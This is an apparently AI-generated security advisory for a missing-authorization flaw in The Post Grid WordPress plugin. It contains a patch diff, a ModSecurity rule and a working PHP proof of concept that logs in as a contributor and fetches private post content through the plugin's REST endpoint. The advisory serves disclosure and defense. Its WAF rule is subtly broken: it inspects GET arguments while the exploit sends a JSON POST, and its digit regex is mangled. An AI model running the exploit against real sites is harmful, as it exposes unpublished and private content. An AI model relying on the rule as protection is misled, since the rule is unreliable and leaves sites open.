Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-125436: The Post Grid – Shortcode, Gutenberg Blocks and Elementor Addon for Post Grid <= 7.9.9 Missing Authorization PoC, Patch Analysis & Rule

Plugin the-post-grid
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 7.9.9
Patched Version 7.9.10
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-125436: This vulnerability is a Missing Authorization (CWE-862) in The Post Grid plugin for WordPress versions up to and including 7.9.9. The plugin exposes post content without proper capability checks, allowing authenticated attackers with contributor-level access and above to read raw post content that they should not be able to access, including content from private or password-protected posts. The CVSS score is 4.3, indicating a medium severity issue primarily affecting confidentiality.

The root cause lies in the GetBuilderData.php controller and the Fns.php helper. In GetBuilderData.php, the ‘content’ case directly returned $post_args->post_content after only checking post_password_required(), without verifying if the current user has permission to read the raw content. This bypasses WordPress’s normal content filtering mechanisms. Additionally, GetPostsV1.php included raw content via get_the_content() in the API response without authorization checks. The helper function Fns::get_the_content() in Fns.php also returned raw post_content after applying shortcodes and wpautop, without applying the ‘the_content’ filter which restriction plugins rely on. These paths allowed contributors to retrieve unfiltered content from posts they do not own or have rights to view.

Exploitation requires an authenticated attacker with at least contributor-level access. The attacker can send requests to the REST API endpoint handled by GetBuilderData.php, likely via a POST request to /wp-json/the-post-grid/v1/get-builder-data or similar, with parameters specifying a target post ID and data type ‘content. Alternatively, the GetPostsV1 endpoint can be queried to retrieve content fields. The lack of capability checks means any contributor can request content from any post, including private or draft posts by other users, by manipulating the post ID parameter. For example, a POST request with a JSON body containing {“post_id”: 123, “data”: {“type”: “content”}} would return the raw post content if the post exists and is not password-protected.

The patch fixes the issue by introducing a new helper function tpg_get_filtered_content() in Fns.php. This function applies the ‘the_content’ filter, which restriction and membership plugins hook into to hide content based on user capabilities. In GetBuilderData.php, the ‘content’ case now checks current_user_can(‘edit_post’, $last_post_id) before returning raw content; otherwise, it returns the filtered content. In GetPostsV1.php, the ‘content’ field was removed entirely from the response array. In Fns.php, the get_the_content() method was updated to use tpg_get_filtered_content() for full content and excerpts, ensuring that all content passes through the appropriate filters. This prevents unauthorized users from accessing raw content while preserving normal rendering for authorized editors.

If exploited, this vulnerability allows contributor-level users to read the raw content of any post, including private, draft, or pending posts, as well as posts by other users that they should not have access to. This could lead to disclosure of sensitive information, such as unpublished articles, personal data, or confidential business information. The impact is limited to confidentiality, as integrity and availability are not affected. The CVSS score of 4.3 reflects the requirement for authentication and the limited scope of the vulnerability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/the-post-grid/app/Controllers/Api/GetBuilderData.php
+++ b/the-post-grid/app/Controllers/Api/GetBuilderData.php
@@ -50,7 +50,12 @@
 				case 'thumbnail':
 					return rest_ensure_response( get_the_post_thumbnail( $post_args, $data['image_size'] ) );
 				case 'content':
-					return rest_ensure_response( post_password_required( $post_args ) ? '' : $post_args->post_content );
+					// Raw content only for its editors; everyone else gets what restriction plugins allow them to read.
+					if ( current_user_can( 'edit_post', $last_post_id ) ) {
+						return rest_ensure_response( $post_args->post_content );
+					}
+
+					return rest_ensure_response( Fns::tpg_get_filtered_content( $post_args ) );
 				case 'meta':
 					$post_meta = Fns::get_post_meta_html( $last_post_id, $data, false );

--- a/the-post-grid/app/Controllers/Api/GetPostsV1.php
+++ b/the-post-grid/app/Controllers/Api/GetPostsV1.php
@@ -369,7 +369,6 @@
 					'author_name'      => esc_html( get_the_author_meta( 'display_name', $author_id ) ),
 					'avatar_url'       => esc_url( $author_avatar_url ),
 					'comment_count'    => esc_html( get_comments_number( $id ) ),
-					'content'          => get_the_content(),
 					'category'         => ! empty( $category_terms ) ? $category_terms : [],
 					'category_bg'      => ! empty( $_cat_bg_meta ) ? $_cat_bg_meta : [],
 					'tags'             => ! empty( $tags_terms ) ? $tags_terms : '',
--- a/the-post-grid/app/Helpers/Fns.php
+++ b/the-post-grid/app/Helpers/Fns.php
@@ -2220,9 +2220,7 @@
 		}

 		if ( $type == 'full' ) {
-			$content = $post->post_content;
-			$content = do_shortcode( $content );
-			$content = wpautop( $content );
+			$content = self::tpg_get_filtered_content( $post );

 			return apply_filters( 'tpg_content_full', $content, $post_id, $data );
 		} else {
@@ -2233,9 +2231,9 @@
 			}

 			if ( class_exists( 'ET_GB_Block_Layout' ) ) {
-				$defaultExcerpt = $post->post_excerpt ?: wp_trim_words( $post->post_content, 55 );
+				$defaultExcerpt = $post->post_excerpt ?: wp_trim_words( self::tpg_get_filtered_content( $post ), 55 );
 			} elseif ( defined( 'WPB_VC_VERSION' ) ) {
-				$the_content    = $post->post_excerpt ?: wp_trim_words( $post->post_content, 55 );
+				$the_content    = $post->post_excerpt ?: wp_trim_words( self::tpg_get_filtered_content( $post ), 55 );
 				$shortcode_tags = [ 'VC_COLUMN_INNTER' ];
 				$values         = array_values( $shortcode_tags );
 				$exclude_codes  = implode( '|', $values );
@@ -2410,6 +2408,51 @@
 	}

 	/**
+	 * Post content run through `the_content`, the filter content-restriction and
+	 * membership plugins use to hide what the current viewer may not read.
+	 *
+	 * Never hand out raw post_content to a viewer; use this instead.
+	 *
+	 * @param WP_Post|int $post    Post object or ID.
+	 * @param string|null  $content Content to filter. Defaults to the post's own content.
+	 *
+	 * @return string
+	 */
+	public static function tpg_get_filtered_content( $post, $content = null ) {
+		static $rendering = [];
+
+		$post = get_post( $post );
+
+		if ( empty( $post ) || post_password_required( $post ) ) {
+			return '';
+		}
+
+		// A grid placed inside this same post asked for its content again.
+		if ( isset( $rendering[ $post->ID ] ) ) {
+			return '';
+		}
+
+		$rendering[ $post->ID ] = true;
+
+		// Restriction plugins read the global post, so point it at the post being filtered.
+		$previous_post   = $GLOBALS['post'] ?? null;
+		$GLOBALS['post'] = $post; //phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
+		setup_postdata( $post );
+
+		$content = apply_filters( 'the_content', null === $content ? $post->post_content : $content );
+		$content = str_replace( ']]>', ']]>', (string) $content );
+
+		$GLOBALS['post'] = $previous_post; //phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
+		if ( $previous_post instanceof WP_Post ) {
+			setup_postdata( $previous_post );
+		}
+
+		unset( $rendering[ $post->ID ] );
+
+		return $content;
+	}
+
+	/**
 	 * Post content prepared for an excerpt, with its markup left intact.
 	 *
 	 * @param WP_Post|int $post      Post object or ID.
@@ -2437,6 +2480,14 @@
 			if ( function_exists( 'has_blocks' ) && function_exists( 'excerpt_remove_blocks' ) && has_blocks( $content ) ) {
 				$content = excerpt_remove_blocks( $content );
 			}
+
+			$content = strip_shortcodes( $content );
+
+			// Same order as WordPress's own excerpt, so restricted content stays hidden.
+			// Nothing left (e.g. a Divi layout) means no excerpt, not just what other plugins append.
+			if ( '' !== trim( $content ) ) {
+				$content = self::tpg_get_filtered_content( $post, $content );
+			}
 		}

 		$content = strip_shortcodes( $content );
--- a/the-post-grid/the-post-grid.php
+++ b/the-post-grid/the-post-grid.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://www.radiustheme.com/downloads/the-post-grid-pro-for-wordpress/
  * Description: Fast & Easy way to display WordPress post in Grid, List & Isotope view ( filter by category, tag, author..)  without a single line of coding.
  * Author: Post Grid Team by RadiusTheme
- * Version: 7.9.9
+ * Version: 7.9.10
  * Text Domain: the-post-grid
  * Domain Path: /languages
  * Author URI: https://radiustheme.com/
@@ -19,7 +19,7 @@
 	exit( 'This script cannot be accessed directly.' );
 }

-define( 'RT_THE_POST_GRID_VERSION', '7.9.9' );
+define( 'RT_THE_POST_GRID_VERSION', '7.9.10' );
 define( 'RT_THE_POST_GRID_AUTHOR', 'RadiusTheme' );
 define( 'RT_THE_POST_GRID_NAME', 'The Post Grid' );
 define( 'RT_THE_POST_GRID_PLUGIN_FILE', __FILE__ );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125436
SecRule REQUEST_URI "@beginsWith /wp-json/the-post-grid/v1/get-builder-data" 
  "id:2026125436,phase:2,deny,status:403,chain,msg:'CVE-2026-125436 via The Post Grid REST API',severity:'CRITICAL',tag:'CVE-2026-125436'"
  SecRule ARGS_GET:type "@streq content" "chain"
    SecRule ARGS_GET:post_id "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125436 - The Post Grid <= 7.9.9 - Missing Authorization

// Configuration
$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'contributor_user';    // Contributor-level username
$password = 'password123';         // Contributor password
$post_id = 123;                    // ID of the target post (e.g., private post)

// Step 1: Authenticate to obtain cookies and nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract a REST API nonce from the admin page (if needed)
// In many cases, the REST API nonce is not required for authenticated requests if using cookie auth
// But we can fetch it from the admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$profile_page = curl_exec($ch);
curl_close($ch);

// Extract nonce from wpApiSettings if present
preg_match('/wpApiSettings = {"root":"[^"]+","nonce":"([^"]+)"/', $profile_page, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Exploit the GetBuilderData endpoint to fetch raw post content
$endpoint = $target_url . '/wp-json/the-post-grid/v1/get-builder-data';
$headers = [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
];
$payload = json_encode([
    'post_id' => $post_id,
    'data' => [
        'type' => 'content',
        'image_size' => 'full'
    ]
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the result
echo "HTTP Status: $http_coden";
echo "Response:n" . $response . "n";

// Successful exploitation returns the raw post content in the response body.
// Example response: {"content":"<p>Secret content</p>"}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.